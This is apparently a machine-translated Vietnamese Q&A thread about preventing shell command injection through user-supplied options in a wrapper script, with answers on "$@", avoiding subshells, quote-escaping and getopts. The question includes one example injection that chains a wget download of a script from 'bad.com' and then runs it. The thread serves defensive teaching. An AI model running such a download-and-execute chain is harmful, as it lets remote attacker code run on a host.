Làm thế nào để ngăn chặn lệnh tiêm thông qua các tùy chọn lệnh?


13

Tôi có một ứng dụng trình bao bọc, nơi tôi cần cho phép người dùng chỉ định các tùy chọn tùy chỉnh để chuyển đến một trình giả lập. Tuy nhiên, tôi muốn đảm bảo rằng người dùng không tiêm các lệnh khác thông qua các tùy chọn người dùng. Cách tốt nhất để thực hiện điều này là gì?

Ví dụ.

  • Người dùng cung cấp: -a -b
  • Ứng dụng thực thi: mysim --preset_opt -a -b

Tuy nhiên, tôi không muốn điều này xảy ra:

  • Người dùng cung cấp: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • Ứng dụng thực thi: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

Hiện tại, tôi nghĩ rằng tôi chỉ đơn giản là có thể bao quanh mọi tùy chọn do người dùng cung cấp với các dấu ngoặc đơn 'và loại bỏ bất kỳ dấu ngoặc đơn nào do người dùng cung cấp, để lệnh trong ví dụ trước biến thành vô hại:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

Lưu ý: mysimLệnh thực thi như một phần của tập lệnh shell trong bộ chứa docker / lxc. Tôi đang chạy Ubuntu.


Bạn đang sử dụng evalđể chạy ứng dụng? Nếu không, tiêm không nên xảy ra:x="&& echo Doomed" ; echo $x
choroba

1
Không, tôi không sử dụng eval. Tôi đang gọi chương trình thực thi mysimbên trong tập lệnh shell. Tôi đang thấy việc tiêm xảy ra nếu tôi chỉ cần sao chép chuỗi tùy chọn mà người dùng cung cấp và dán vào cuối mysimlệnh.
Victor Lyuboslavsky

Ứng dụng trình bao bọc có sao chép và dán chuỗi tùy chọn không?
choroba

Có, các tùy chọn người dùng đến dưới dạng một chuỗi, như -a -b. Vì vậy, tôi đang tìm cách đảm bảo rằng các lệnh bổ sung không được đưa vào chuỗi đó.
Victor Lyuboslavsky

1
bạn có thể danh sách trắng? chỉ cho phép các nhân vật [a-zA-Z0-9 _-]trông giống như một sự lựa chọn phòng thủ khá.
Ulrich Schwarz

Câu trả lời:


6

Nếu bạn có quyền kiểm soát chương trình trình bao bọc, thì hãy chắc chắn rằng nó không gọi ra một lớp con. Sâu xa hơn, một lệnh để thực thi một chương trình bao gồm đường dẫn đầy đủ (tuyệt đối hoặc liên quan đến thư mục hiện tại) đến tệp thực thi và một danh sách các chuỗi để truyền dưới dạng đối số. Tra cứu PATH, các đối số phân tách khoảng trắng, toán tử trích dẫn và điều khiển đều được cung cấp bởi trình bao. Không vỏ, không đau.

Ví dụ: với trình bao bọc Perl, hãy sử dụng mẫu danh sách exechoặc system. Trong nhiều ngôn ngữ, hãy gọi một trong exechoặc các execXXXhàm ( unix.exechoặc bất cứ thứ gì nó được gọi) thay vì system, hoặc os.spawnvới shell=False, hoặc bất cứ thứ gì nó cần.

Nếu trình bao bọc là tập lệnh shell, sử dụng "$@"để truyền lại các đối số, ví dụ:

#!/bin/sh
mysim -preset-opt "$@"

Nếu bạn không có lựa chọn nào và chương trình trình bao bọc sẽ gọi trình bao, bạn sẽ cần trích dẫn các đối số trước khi chuyển chúng vào trình bao. Cách dễ dàng để trích dẫn các đối số là làm như sau:

  1. Trong mỗi đối số, thay thế mỗi lần xuất hiện '(trích dẫn đơn) bằng chuỗi bốn ký tự '\''. (ví dụ don'ttrở thành don'\''t)
  2. Thêm 'vào đầu mỗi đối số và cũng ở cuối mỗi đối số. (ví dụ từ don't, don'\''ttrở thành 'don'\''t')
  3. Nối các kết quả với một khoảng trắng ở giữa.

Nếu bạn cần làm điều này trong một trình bao bọc vỏ, đây là một cách.

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(Thật không may, ${VAR//PATTERN/REPLACEMENT}cấu trúc của bash , rất hữu dụng ở đây, yêu cầu trích dẫn kỳ quặc và tôi không nghĩ bạn có thể lấy '\''văn bản thay thế.)


1

Bạn có thể sử dụng ${VAR//PATTERN/REPLACEMENT}thành ngữ của Bash để chuyển đổi một trích dẫn 'thành '\''bằng cách trước tiên đưa '\''vào một biến (như một bước trung gian) và sau đó mở rộng biến này thành thành REPLACEMENTphần trong thành ngữ Bash đã đề cập.

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}

0

Bạn có thể sử dụng getoptstrong bashđó có thể phân tích các đối số cho bạn, ví dụ:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.